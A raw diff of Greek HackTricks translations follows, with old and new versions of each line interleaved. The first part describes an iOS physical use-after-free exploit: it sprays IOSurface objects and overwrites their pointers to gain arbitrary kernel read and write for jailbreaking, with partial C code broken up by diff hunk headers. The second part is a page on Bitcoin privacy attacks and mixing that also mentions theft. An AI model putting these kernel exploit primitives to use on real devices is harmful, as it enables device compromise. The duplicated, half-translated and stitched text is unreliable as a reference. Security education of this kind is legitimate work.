4. Όταν βρει ένα IOSurface object σε freed σελίδα, μπορεί να το χρησιμοποιήσει για να διαβάζει και να γράφει kernel memory.
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
Περισσότερα στο [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
> [!TIP]
> Να γνωρίζετε ότι οι συσκευές iOS 16+ (A12+) φέρνουν hardware mitigations (όπως PPL ή SPTM) που καθιστούν τις τεχνικές physical UAF πολύ λιγότερο εφαρμόσιμες.
> PPL επιβάλλει αυστηρές προστασίες MMU σε σελίδες που σχετίζονται με code signing, entitlements και ευαίσθητα kernel δεδομένα, οπότε ακόμα και αν μια σελίδα ξαναχρησιμοποιηθεί, οι εγγραφές από userland ή συμβιβασμένο kernel code σε PPL-protected σελίδες αποκλείονται.
> Secure Page Table Monitor (SPTM) επεκτείνει το PPL ενισχύοντας τις ίδιες τις ενημερώσεις των page tables. Εξασφαλίζει ότι ακόμα και privileged kernel code δεν μπορεί αθόρυβα να remap-άρει freed σελίδες ή να παραποιήσει αντιστοιχίσεις χωρίς να περάσει από ασφαλείς ελέγχους.
> KTRR (Kernel Text Read-Only Region), που κλειδώνει το code section του kernel ως read-only μετά το boot. Αυτό αποτρέπει οποιεσδήποτε runtime τροποποιήσεις στον kernel code, κλείνοντας ένα μεγάλο attack vector που συχνά αξιοποιούνταn τα physical UAF exploits.
> Επιπλέον, οι κατανομές `IOSurface` είναι πλέον λιγότερο προβλέψιμες και δυσκολότερο να χαρτογραφηθούν σε περιοχές προσβάσιμες από user, γεγονός που κάνει το κόλπο του “magic value scanning” πολύ λιγότερο αξιόπιστο. Και το `IOSurface` πλέον προστατεύεται από entitlements και sandbox περιορισμούς.
> Λάβετε υπόψη ότι iOS 16+ (A12+) συσκευές φέρνουν hardware mitigations (όπως PPL ή SPTM) που καθιστούν τις physical UAF τεχνικές πολύ λιγότερο εφαρμόσιμες.
> PPL επιβάλλει αυστηρές MMU προστασίες σε σελίδες που σχετίζονται με code signing, entitlements και ευαίσθητα kernel δεδομένα, οπότε ακόμα κι αν μια σελίδα επαναχρησιμοποιηθεί, οι εγγραφές από userland ή kompromised kernel code σε PPL-protected pages μπλοκάρονται.
> Secure Page Table Monitor (SPTM) επεκτείνει το PPL ενισχύοντας τις ενημερώσεις των page tables οι ίδιες. Εξασφαλίζει ότι ακόμα και privileged kernel code δεν μπορεί να remap freed σελίδες ή να τροποποιήσει mappings χωρίς secure checks.
> KTRR κλειδώνει το kernel code section ως read-only μετά το boot, αποτρέποντας runtime τροποποιήσεις του kernel code — ένα κοινό σημείο εκμετάλλευσης που physical UAF exploits συχνά εκμεταλλεύονταν.
> Επιπλέον, οι IOSurface allocations είναι πλέον λιγότερο προβλέψιμες και πιο δύσκολο να τοποθετηθούν σε user-accessible περιοχές, καθιστώντας την τεχνική του σκαναρίσματος για magic value πολύ λιγότερο αξιόπιστη. Το IOSurface επίσης φυλάσσεται από entitlements και sandbox περιορισμούς.
### Step-by-Step Heap Spray Process
1. **Spray IOSurface Objects**: Ο επιτιθέμενος δημιουργεί πολλά αντικείμενα IOSurface με έναν ειδικό identifier ("magic value").
2. **Scan Freed Pages**: Ελέγχει αν κάποιο από τα αντικείμενα έχει εκχωρηθεί σε μια freed σελίδα.
3. **Read/Write Kernel Memory**: Με την παραποίηση πεδίων στο αντικείμενο IOSurface, αποκτά τη δυνατότητα για **arbitrary reads and writes** στην kernel μνήμη. Αυτό του επιτρέπει:
* Να χρησιμοποιήσει ένα πεδίο για να **διαβάσει οποιαδήποτε 32-bit τιμή** στην kernel μνήμη.
* Να χρησιμοποιήσει άλλο πεδίο για να **γράψει 64-bit τιμές**, επιτυγχάνοντας ένα σταθερό **kernel read/write primitive**.
1. **Spray IOSurface Objects**: Ο attacker δημιουργεί πολλά IOSurface objects με ένα ειδικό identifier ("magic value").
2. **Scan Freed Pages**: Ελέγχει αν κάποια από τα αντικείμενα έχουν ανατεθεί σε μια freed σελίδα.
3. **Read/Write Kernel Memory**: Με την τεχνική επεξεργασίας πεδίων στο IOSurface αντικείμενο, αποκτά ικανότητα για arbitrary reads και writes στην kernel memory. Αυτό του επιτρέπει να:
* Χρησιμοποιήσει ένα πεδίο για να διαβάσει οποιαδήποτε 32-bit τιμή στην kernel memory.
* Χρησιμοποιήσει άλλο πεδίο για να γράψει 64-bit τιμές, επιτυγχάνοντας σταθερό kernel read/write primitive.
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
Δημιουργήστε αντικείμενα IOSurface με την μαγική τιμή IOSURFACE\_MAGIC για να τα αναζητήσετε αργότερα:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
@ -128,7 +127,7 @@ io_connect_t id = result.surface_id;
}
}
```
Αναζήτηση για αντικείμενα **`IOSurface`** σε μία ελευθερωμένη φυσική σελίδα:
Αναζήτηση για **`IOSurface`** αντικείμενα σε μία ελευθερωμένη φυσική σελίδα:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
@ -162,24 +161,24 @@ free(surfaceIDs);
return 0;
}
```
### Επίτευξη ανάγνωσης/εγγραφής του πυρήνα με IOSurface
### Επίτευξη Kernel Read/Write με IOSurface
Μετά τον έλεγχο ενός αντικειμένου IOSurface στη μνήμη του πυρήνα (mapped σε μια freed physical page προσβάσιμη από userspace), μπορούμε να το χρησιμοποιήσουμε για **arbitrary kernel read and write operations**.
Μετά τον έλεγχο ενός αντικειμένου IOSurface στη kernel memory (mapped to a freed physical page accessible from userspace), μπορούμε να το χρησιμοποιήσουμε για **αυθαίρετες kernel read και write λειτουργίες**.
**Βασικά Πεδία στο IOSurface**
**Key Fields in IOSurface**
Το αντικείμενο IOSurface έχει δύο κρίσιμα πεδία:
1. **Use Count Pointer**: Επιτρέπει ένα **32-bit read**.
2. **Indexed Timestamp Pointer**: Επιτρέπει ένα **64-bit write**.
Με την υπερχείλιση αυτών των δεικτών, τους ανακατευθύνουμε σε αυθαίρετες διευθύνσεις στη μνήμη του πυρήνα, ενεργοποιώντας δυνατότητες read/write.
Με την επανεγγραφή αυτών των δεικτών, τους ανακατευθύνουμε σε αυθαίρετες διευθύνσεις στη kernel memory, ενεργοποιώντας δυνατότητες read/write.
#### 32-Bit Kernel Read
Για να εκτελέσετε μια ανάγνωση:
Για να πραγματοποιήσουμε μια ανάγνωση:
1. Αντικαταστήστε το **use count pointer** ώστε να δείχνει στη διεύθυνση-στόχο μείον 0x14-byte offset.
1. Επανεγγράψτε το **use count pointer** ώστε να δείχνει στη διεύθυνση-στόχο μείον μια μετατόπιση 0x14.
2. Χρησιμοποιήστε τη μέθοδο `get_use_count` για να διαβάσετε την τιμή σε εκείνη τη διεύθυνση.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
@ -200,9 +199,9 @@ return value;
```
#### 64-Bit Kernel Write
Για να πραγματοποιήσετε μια εγγραφή:
Για να εκτελέσετε μια εγγραφή:
1. Αντικαταστήστε τον **δείκτη ευρετηριασμένης χρονοσφραγίδας** με τη διεύθυνση-στόχο.
1. Αντικαταστήστε τον **indexed timestamp pointer** με τη διεύθυνση-στόχο.
2. Χρησιμοποιήστε τη μέθοδο `set_indexed_timestamp` για να γράψετε μια 64-bit τιμή.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
@ -217,13 +216,13 @@ set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Ανακεφαλαίωση Ροής Exploit
#### Ανακεφαλαίωση Exploit Flow
1. **Προκαλέστε Φυσικό Use-After-Free**: Οι ελεύθερες σελίδες είναι διαθέσιμες για επαναχρησιμοποίηση.
2. **Spray IOSurface Objects**: Δεσμεύστε πολλά αντικείμενα IOSurface με μια μοναδική "magic value" στη μνήμη του πυρήνα.
3. **Εντοπίστε Προσβάσιμο IOSurface**: Εντοπίστε ένα IOSurface σε μια απελευθερωμένη σελίδα που ελέγχετε.
4. **Εκμετάλλευση Use-After-Free**: Τροποποιήστε δείκτες στο αντικείμενο IOSurface για να επιτρέψετε αυθαίρετο **kernel read/write** μέσω μεθόδων IOSurface.
1. **Trigger Physical Use-After-Free**: Οι ελεύθερες σελίδες είναι διαθέσιμες για επαναχρησιμοποίηση.
2. **Spray IOSurface Objects**: Κατανείμετε πολλά IOSurface objects με μια μοναδική "magic value" στη kernel memory.
3. **Identify Accessible IOSurface**: Εντοπίστε ένα IOSurface σε μια ελεύθερη σελίδα που ελέγχετε.
4. **Abuse Use-After-Free**: Τροποποιήστε δείκτες στο αντικείμενο IOSurface για να επιτρέψετε αυθαίρετο **kernel read/write** μέσω μεθόδων IOSurface.
Με αυτά τα primitives, το exploit παρέχει ελεγχόμενα **32-bit reads** και **64-bit writes** στη μνήμη του πυρήνα. Επιπλέον βήματα για το jailbreak θα μπορούσαν να περιλαμβάνουν πιο σταθερά read/write primitives, που μπορεί να απαιτούν παράκαμψη πρόσθετων προστασιών (π.χ. PPL σε νεότερες συσκευές arm64e).
Με αυτά τα primitives, το exploit παρέχει ελεγχόμενα **32-bit reads** και **64-bit writes** στη kernel memory. Περαιτέρω βήματα jailbreak μπορεί να περιλαμβάνουν πιο σταθερά read/write primitives, που ενδέχεται να απαιτούν παράκαμψη πρόσθετων προστασιών (π.χ. PPL σε νεότερες συσκευές arm64e).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,176 +1,178 @@
# Blockchain και Crypto-Currencies
{{#include ../../banners/hacktricks-training.md}}
## Βασικές Έννοιες
- **Smart Contracts** ορίζονται ως προγράμματα που εκτελούνται σε μια blockchain όταν πληρούνται ορισμένες προϋποθέσεις, αυτοματοποιώντας τις εκτελέσεις συμφωνιών χωρίς μεσάζοντες.
- **Decentralized Applications (dApps)** βασίζονται σε smart contracts, διαθέτοντας ένα φιλικό προς τον χρήστη front-end και ένα διαφανές, ελέγξιμο back-end.
- **Tokens & Coins** διακρίνουν πού τα coins χρησιμεύουν ως ψηφιακό χρήμα, ενώ τα tokens αντιπροσωπεύουν αξία ή ιδιοκτησία σε συγκεκριμένα συμφραζόμενα.
- **Utility Tokens** παρέχουν πρόσβαση σε υπηρεσίες, και **Security Tokens** υποδηλώνουν την ιδιοκτησία περιουσιακών στοιχείων.
- **Smart Contracts** ορίζονται ως προγράμματα που εκτελούνται σε ένα blockchain όταν πληρούνται ορισμένες προϋποθέσεις, αυτοματοποιώντας την εκτέλεση συμφωνιών χωρίς μεσάζοντες.
- **Decentralized Applications (dApps)** χτίζονται πάνω σε smart contracts, με φιλικό προς τον χρήστη front-end και διαφανές, ελέγξιμο back-end.
- **Tokens & Coins** διακρίνονται στο ότι τα coins λειτουργούν ως ψηφιακό χρήμα, ενώ τα tokens αντιπροσωπεύουν αξία ή ιδιοκτησία σε συγκεκριμένα πλαίσια.
- **Utility Tokens** παρέχουν πρόσβαση σε υπηρεσίες, και **Security Tokens** δηλώνουν ιδιοκτησία περιουσιακού στοιχείου.
- **DeFi** σημαίνει Decentralized Finance, προσφέροντας χρηματοοικονομικές υπηρεσίες χωρίς κεντρικές αρχές.
- **DEX** και **DAOs** αναφέρονται σε Decentralized Exchange Platforms και Decentralized Autonomous Organizations, αντίστοιχα.
## Μηχανισμοί Συμφωνίας
## Μηχανισμοί Συμφωνίας (Consensus Mechanisms)
Οι μηχανισμοί συμφωνίας διασφαλίζουν ασφαλείς και συμφωνημένες επικυρώσεις συναλλαγών στην blockchain:
Οι μηχανισμοί συναίνεσης διασφαλίζουν την ασφαλή και συμφωνημένη επικύρωση συναλλαγών στο blockchain:
- **Proof of Work (PoW)** βασίζεται στη υπολογιστική ισχύ για την επαλήθευση συναλλαγών.
- **Proof of Stake (PoS)** απαιτεί από τους επικυρωτές να κατέχουν μια συγκεκριμένη ποσότητα tokens, μειώνοντας την κατανάλωση ενέργειας σε σύγκριση με το PoW.
- **Proof of Work (PoW)** βασίζεται στην υπολογιστική ισχύ για την επαλήθευση συναλλαγών.
- **Proof of Stake (PoS)** απαιτεί από validators να κατέχουν ένα συγκεκριμένο ποσό tokens, μειώνοντας την κατανάλωση ενέργειας σε σχέση με το PoW.
## Βασικά Στοιχεία του Bitcoin
## Bitcoin: Βασικά
### Συναλλαγές
Οι συναλλαγές Bitcoin περιλαμβάνουν τη μεταφορά χρημάτων μεταξύ διευθύνσεων. Οι συναλλαγές επικυρώνονται μέσω ψηφιακών υπογραφών, διασφαλίζοντας ότι μόνο ο κάτοχος του ιδιωτικού κλειδιού μπορεί να ξεκινήσει μεταφορές.
Οι Bitcoin συναλλαγές περιλαμβάνουν τη μεταφορά κεφαλαίων μεταξύ διευθύνσεων. Οι συναλλαγές επικυρώνονται μέσω ψηφιακών υπογραφών, διασφαλίζοντας ότι μόνο ο κάτοχος του private key μπορεί να ξεκινήσει μεταφορές.
#### Κύρια Στοιχεία:
#### Κύρια Συστατικά:
- **Multisignature Transactions** απαιτούν πολλαπλές υπογραφές για την εξουσιοδότηση μιας συναλλαγής.
- Οι συναλλαγές αποτελούνται από **inputs** (πηγή χρημάτων), **outputs** (προορισμός), **fees** (πληρωμές στους miners), και **scripts** (κανόνες συναλλαγών).
- Οι συναλλαγές αποτελούνται από **inputs** (πηγή των κεφαλαίων), **outputs** (προορισμός), **fees** (πληρώνονται στους miners) και **scripts** (κανόνες συναλλαγών).
### Lightning Network
Στοχεύει στη βελτίωση της κλιμακωσιμότητας του Bitcoin επιτρέποντας πολλές συναλλαγές εντός ενός καναλιού, μεταδίδοντας μόνο την τελική κατάσταση στην blockchain.
Στοχεύει στη βελτίωση της κλιμάκωσης του Bitcoin επιτρέποντας πολλαπλές συναλλαγές εντός ενός καναλιού, μεταδίδοντας στο blockchain μόνο την τελική κατάσταση.
## Ανησυχίες για την Ιδιωτικότητα του Bitcoin
## Ζητήματα Ιδιωτικότητας στο Bitcoin
Επιθέσεις ιδιωτικότητας, όπως **Common Input Ownership** και **UTXO Change Address Detection**, εκμεταλλεύονται τα μοτίβα συναλλαγών. Στρατηγικές όπως **Mixers** και **CoinJoin** βελτιώνουν την ανωνυμία θολώνοντας τους συνδέσμους συναλλαγών μεταξύ χρηστών.
Οι επιθέσεις στην ιδιωτικότητα, όπως το **Common Input Ownership** και η **UTXO Change Address Detection**, εκμεταλλεύονται πρότυπα συναλλαγών. Στρατηγικές όπως οι **Mixers** και το **CoinJoin** βελτιώνουν την ανωνυμία θολώνοντας τους συνδέσμους συναλλαγών μεταξύ χρηστών.
## Απόκτηση Bitcoins Ανώνυμα
## Ανάκτηση Bitcoins Ανώνυμα
Μέθοδοι περιλαμβάνουν εμπορικές συναλλαγές με μετρητά, εξόρυξη και χρήση mixers. **CoinJoin** αναμειγνύει πολλές συναλλαγές για να περιπλέξει την ανιχνευσιμότητα, ενώ το **PayJoin** μεταμφιέζει τα CoinJoins ως κανονικές συναλλαγές για αυξημένη ιδιωτικότητα.
Μέθοδοι περιλαμβάνουν συναλλαγές με μετρητά, mining και χρήση mixers. Το **CoinJoin** αναμειγνύει πολλαπλές συναλλαγές για να περιπλέξει την ιχνηλασιμότητα, ενώ το **PayJoin** καλύπτει τα CoinJoins ως κανονικές συναλλαγές για αυξημένη ιδιωτικότητα.
# Επιθέσεις Ιδιωτικότητας Bitcoin
# Bitcoin Privacy Επιθέσεις
# Περίληψη Επιθέσεων Ιδιωτικότητας Bitcoin
# Περίληψη των Επιθέσεων στην Ιδιωτικότητα του Bitcoin
Στον κόσμο του Bitcoin, η ιδιωτικότητα των συναλλαγών και η ανωνυμία των χρηστών είναι συχνά αντικείμενα ανησυχίας. Ακολουθεί μια απλοποιημένη επισκόπηση αρκετών κοινών μεθόδων μέσω των οποίων οι επιτιθέμενοι μπορούν να παραβιάσουν την ιδιωτικότητα του Bitcoin.
Στον κόσμο του Bitcoin, το απόρρητο των συναλλαγών και η ανωνυμία των χρηστών είναι συχνά αντικείμενα ανησυχίας. Ακολουθεί μια απλοποιημένη επισκόπηση μερικών κοινών μεθόδων με τις οποίες οι επιτιθέμενοι μπορούν να υπονομεύσουν την ιδιωτικότητα στο Bitcoin.
## **Υπόθεση Κοινής Ιδιοκτησίας Εισροών**
## **Common Input Ownership Assumption**
Είναι γενικά σπάνιο οι εισροές από διαφορετικούς χρήστες να συνδυάζονται σε μια μόνο συναλλαγή λόγω της πολυπλοκότητας που εμπλέκεται. Έτσι, **δύο διευθύνσεις εισροών στην ίδια συναλλαγή συχνά υποτίθεται ότι ανήκουν στον ίδιο ιδιοκτήτη**.
Γενικά είναι σπάνιο inputs από διαφορετικούς χρήστες να συνδυάζονται σε μία συναλλαγή λόγω της πολυπλοκότητας. Επομένως, **δύο διευθύνσεις εισόδου στην ίδια συναλλαγή συχνά θεωρούνται ότι ανήκουν στον ίδιο ιδιοκτήτη**.
## **Ανίχνευση Διεύθυνσης Αλλαγής UTXO**
## **UTXO Change Address Detection**
Ένα UTXO, ή **Unspent Transaction Output**, πρέπει να δαπανηθεί πλήρως σε μια συναλλαγή. Εάν μόνο ένα μέρος του σταλεί σε άλλη διεύθυνση, το υπόλοιπο πηγαίνει σε μια νέα διεύθυνση αλλαγής. Οι παρατηρητές μπορούν να υποθέσουν ότι αυτή η νέα διεύθυνση ανήκει στον αποστολέα, παραβιάζοντας την ιδιωτικότητα.
Μια UTXO, ή **Unspent Transaction Output**, πρέπει να δαπανηθεί ολόκληρη σε μια συναλλαγή. Αν μόνο ένα μέρος της αποστέλλεται σε μια άλλη διεύθυνση, το υπόλοιπο πηγαίνει σε μια νέα change address. Οι παρατηρητές μπορούν να υποθέσουν ότι αυτή η νέα διεύθυνση ανήκει στον αποστολέα, θέτοντας σε κίνδυνο το απόρρητο.
### Παράδειγμα
Για να μετριαστεί αυτό, οι υπηρεσίες ανάμειξης ή η χρήση πολλαπλών διευθύνσεων μπορούν να βοηθήσουν στην απόκρυψη της ιδιοκτησίας.
Για να μετριαστεί αυτό, υπηρεσίες mixing ή η χρήση πολλαπλών διευθύνσεων μπορούν να βοηθήσουν στο να θολωθεί η ιδιοκτησία.
## **Έκθεση σε Κοινωνικά Δίκτυα & Φόρουμ**
## **Έκθεση σε Social Networks & Forums**
Οι χρήστες μερικές φορές μοιράζονται τις διευθύνσεις Bitcoin τους online, καθιστώντας **εύκολο να συνδεθεί η διεύθυνση με τον ιδιοκτήτη της**.
Οι χρήστες μερικές φορές μοιράζονται τις Bitcoin διευθύνσεις τους online, καθιστώντας εύκολο να **συνδέσει κάποιος τη διεύθυνση με τον κάτοχο**.
## **Ανάλυση Γραφήματος Συναλλαγών**
## **Ανάλυση Γράφου Συναλλαγών (Transaction Graph Analysis)**
Οι συναλλαγές μπορούν να οπτικοποιηθούν ως γραφήματα, αποκαλύπτοντας πιθανές συνδέσεις μεταξύ χρηστών με βάση τη ροή χρημάτων.
Οι συναλλαγές μπορούν να απεικονιστούν ως γράφοι, αποκαλύπτοντας πιθανές συνδέσεις μεταξύ χρηστών με βάση τη ροή των κεφαλαίων.
## **Υποθετική Εισροή Χωρίς Ανάγκη (Βέλτιστη Υποθετική Αλλαγή)**
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
Αυτή η υποθετική βασίζεται στην ανάλυση συναλλαγών με πολλαπλές εισροές και εκροές για να μαντέψει ποια εκροή είναι η αλλαγή που επιστρέφει στον αποστολέα.
Αυτή η ευρετική βασίζεται στην ανάλυση συναλλαγών με πολλαπλά inputs και outputs για να μαντέψει ποιο output είναι η αλλαγή που επιστρέφει στον αποστολέα.
### Παράδειγμα
```bash
2 btc --> 4 btc
3 btc 1 btc
```
Αν η προσθήκη περισσότερων εισροών καθιστά την έξοδο αλλαγής μεγαλύτερη από οποιαδήποτε μεμονωμένη εισροή, μπορεί να μπερδέψει την ηθική.
Εάν η προσθήκη περισσότερων εισροών κάνει το output της αλλαγής μεγαλύτερο από οποιοδήποτε μεμονωμένο input, αυτό μπορεί να μπερδέψει την ευρετική.
## **Υποχρεωτική Επαναχρησιμοποίηση Διευθύνσεων**
## **Forced Address Reuse**
Οι επιτιθέμενοι μπορεί να στείλουν μικρά ποσά σε προηγουμένως χρησιμοποιημένες διευθύνσεις, ελπίζοντας ότι ο παραλήπτης θα τα συνδυάσει με άλλες εισροές σε μελλοντικές συναλλαγές, συνδέοντας έτσι τις διευθύνσεις μεταξύ τους.
Οι επιτιθέμενοι μπορεί να στείλουν μικρά ποσά σε προηγουμένως χρησιμοποιημένες διευθύνσεις, ελπίζοντας ότι ο παραλήπτης θα συνδυάσει αυτά τα inputs με άλλες εισροές σε μελλοντικές συναλλαγές, συνδέοντας έτσι διευθύνσεις μεταξύ τους.
### Σωστή Συμπεριφορά Πορτοφολιού
### Correct Wallet Behavior
Τα πορτοφόλια θα πρέπει να αποφεύγουν τη χρήση νομισμάτων που έχουν ληφθεί σε ήδη χρησιμοποιημένες, κενές διευθύνσεις για να αποτρέψουν αυτή τη διαρροή ιδιωτικότητας.
Τα πορτοφόλια θα πρέπει να αποφεύγουν τη χρήση νομισμάτων που έχουν ληφθεί σε ήδη χρησιμοποιημένες, κενές διευθύνσεις για να προλάβουν αυτή την privacy leak.
## **Άλλες Τεχνικές Ανάλυσης Blockchain**
## **Other Blockchain Analysis Techniques**
- **Ακριβή Ποσά Πληρωμής:** Συναλλαγές χωρίς αλλαγή είναι πιθανό να είναι μεταξύ δύο διευθύνσεων που ανήκουν στον ίδιο χρήστη.
- **Στρογγυλοί Αριθμοί:** Ένας στρογγυλός αριθμός σε μια συναλλαγή υποδηλώνει ότι είναι πληρωμή, με την μη στρογγυλή έξοδο να είναι πιθανώς η αλλαγή.
- **Δακτυλοσκοπία Πορτοφολιού:** Διάφορα πορτοφόλια έχουν μοναδικά μοτίβα δημιουργίας συναλλαγών, επιτρέποντας στους αναλυτές να προσδιορίσουν το λογισμικό που χρησιμοποιείται και πιθανώς τη διεύθυνση αλλαγής.
- **Συσχετίσεις Ποσού & Χρόνου:** Η αποκάλυψη χρόνων ή ποσών συναλλαγών μπορεί να καθιστά τις συναλλαγές ιχνηλατήσιμες.
- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user.
- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
## **Ανάλυση Κίνησης**
## **Traffic Analysis**
Παρακολουθώντας την κίνηση του δικτύου, οι επιτιθέμενοι μπορούν ενδεχομένως να συνδέσουν συναλλαγές ή μπλοκ με διευθύνσεις IP, θέτοντας σε κίνδυνο την ιδιωτικότητα των χρηστών. Αυτό ισχύει ιδιαίτερα αν μια οντότητα λειτουργεί πολλές κόμβους Bitcoin, ενισχύοντας την ικανότητά τους να παρακολουθούν τις συναλλαγές.
Παρακολουθώντας την κυκλοφορία στο δίκτυο, οι επιτιθέμενοι μπορούν ενδεχομένως να συνδέσουν συναλλαγές ή blocks με διευθύνσεις IP, θέτοντας σε κίνδυνο το ιδιωτικό απόρρητο των χρηστών. Αυτό είναι ιδιαίτερα πιθανό αν ένας φορέας λειτουργεί πολλούς Bitcoin nodes, ενισχύοντας την ικανότητά του να παρακολουθεί τις συναλλαγές.
## Περισσότερα
Για μια ολοκληρωμένη λίστα επιθέσεων και αμυνών ιδιωτικότητας, επισκεφθείτε το [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
Για μια ολοκληρωμένη λίστα επιθέσεων στην ιδιωτικότητα και μέτρων άμυνας, επισκεφθείτε [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# Ανώνυμες Συναλλαγές Bitcoin
# Anonymous Bitcoin Transactions
## Τρόποι Απόκτησης Bitcoins Ανώνυμα
- **Συναλλαγές με Μετρητά:** Απόκτηση bitcoin μέσω μετρητών.
- **Εναλλακτικές Μετρητών:** Αγορά δωροκαρτών και ανταλλαγή τους διαδικτυακά για bitcoin.
- **Εξόρυξη:** Ο πιο ιδιωτικός τρόπος για να κερδίσετε bitcoins είναι μέσω εξόρυξης, ειδικά όταν γίνεται μόνος, καθώς οι πισίνες εξόρυξης μπορεί να γνωρίζουν τη διεύθυνση IP του εξορύκτη. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Κλοπή:** Θεωρητικά, η κλοπή bitcoin θα μπορούσε να είναι μια άλλη μέθοδος για να το αποκτήσετε ανώνυμα, αν και είναι παράνομη και δεν συνιστάται.
- **Cash Transactions**: Απόκτηση bitcoin με μετρητά.
- **Cash Alternatives**: Αγορά gift cards και ανταλλαγή τους online για bitcoin.
- **Mining**: Η πιο ιδιωτική μέθοδος για να κερδίσει κανείς bitcoins είναι μέσω mining, ειδικά όταν γίνεται solo, γιατί τα mining pools μπορεί να γνωρίζουν τη διεύθυνση IP του miner. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Θεωρητικά, η κλοπή bitcoin θα μπορούσε να είναι ένας άλλος τρόπος να αποκτηθεί ανώνυμα, αν και είναι παράνομο και δεν συνιστάται.
## Υπηρεσίες Μίξης
## Mixing Services
Χρησιμοποιώντας μια υπηρεσία μίξης, ένας χρήστης μπορεί να **στείλει bitcoins** και να λάβει **διαφορετικά bitcoins σε αντάλλαγμα**, καθιστώντας δύσκολη την ιχνηλάτηση του αρχικού κατόχου. Ωστόσο, αυτό απαιτεί εμπιστοσύνη στην υπηρεσία να μην κρατά αρχεία και να επιστρέφει πραγματικά τα bitcoins. Εναλλακτικές επιλογές μίξης περιλαμβάνουν τα καζίνο Bitcoin.
Χρησιμοποιώντας μια mixing service, ένας χρήστης μπορεί να **στείλει bitcoins** και να λάβει **διαφορετικά bitcoins ως αντάλλαγμα**, καθιστώντας δύσκολη την ανίχνευση του αρχικού ιδιοκτήτη. Ωστόσο, αυτό απαιτεί εμπιστοσύνη στην υπηρεσία ότι δεν κρατάει logs και ότι θα επιστρέψει όντως τα bitcoins. Εναλλακτικές επιλογές mixing περιλαμβάνουν Bitcoin casinos.
## CoinJoin
**CoinJoin** συγχωνεύει πολλές συναλλαγές από διαφορετικούς χρήστες σε μία, περιπλέκοντας τη διαδικασία για οποιονδήποτε προσπαθεί να αντιστοιχίσει εισροές με εξόδους. Παρά την αποτελεσματικότητά του, οι συναλλαγές με μοναδικά μεγέθη εισροών και εξόδων μπορούν ακόμα να ιχνηλατηθούν.
Η CoinJoin συγχωνεύει πολλαπλές συναλλαγές από διαφορετικούς χρήστες σε μία, δυσχεραίνοντας τη διαδικασία για όποιον προσπαθεί να αντιστοιχίσει inputs με outputs. Παρόλη την αποτελεσματικότητά της, συναλλαγές με μοναδικά μεγέθη inputs και outputs μπορούν ακόμα δυνητικά να εντοπιστούν.
Παραδείγματα συναλλαγών που μπορεί να χρησιμοποίησαν το CoinJoin περιλαμβάνουν `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` και `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Παραδείγματα συναλλαγών που μπορεί να χρησιμοποίησαν CoinJoin περιλαμβάνουν `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` και `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Για περισσότερες πληροφορίες, επισκεφθείτε το [CoinJoin](https://coinjoin.io/en). Για μια παρόμοια υπηρεσία στο Ethereum, δείτε το [Tornado Cash](https://tornado.cash), το οποίο ανωνυμοποιεί τις συναλλαγές με κεφάλαια από εξορύκτες.
Για περισσότερες πληροφορίες, επισκεφθείτε [CoinJoin](https://coinjoin.io/en). Για μια παρόμοια υπηρεσία στο Ethereum, δείτε [Tornado Cash](https://tornado.cash), που ανωνυμοποιεί συναλλαγές με κεφάλαια από miners.
## PayJoin
Μια παραλλαγή του CoinJoin, το **PayJoin** (ή P2EP), καλύπτει τη συναλλαγή μεταξύ δύο μερών (π.χ., ενός πελάτη και ενός εμπόρου) ως κανονική συναλλαγή, χωρίς τα χαρακτηριστικά ίσων εξόδων που είναι χαρακτηριστικά του CoinJoin. Αυτό καθιστά εξαιρετικά δύσκολη την ανίχνευση και θα μπορούσε να ακυρώσει την κοινή ηθική ιδιοκτησίας εισροών που χρησιμοποιείται από τις οντότητες παρακολούθησης συναλλαγών.
Μια παραλλαγή της CoinJoin, η **PayJoin** (ή P2EP), συγκαλύπτει τη συναλλαγή μεταξύ δύο μερών (π.χ. πελάτη και εμπόρου) ως μια κανονική συναλλαγή, χωρίς τα χαρακτηριστικά ίσα outputs που έχει η CoinJoin. Αυτό την καθιστά εξαιρετικά δύσκολη στην ανίχνευση και μπορεί να αναιρέσει την heuristic common-input-ownership που χρησιμοποιούν οι οντότητες επιτήρησης συναλλαγών.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Οι συναλλαγές όπως οι παραπάνω θα μπορούσαν να είναι PayJoin, ενισχύοντας την ιδιωτικότητα ενώ παραμένουν αδιάκριτες από τις τυπικές συναλλαγές bitcoin.
Οι συναλλαγές όπως η παραπάνω θα μπορούσαν να είναι PayJoin, βελτιώνοντας το απόρρητο ενώ παραμένουν χωρίς να διακρίνονται από τις συνηθισμένες bitcoin συναλλαγές.
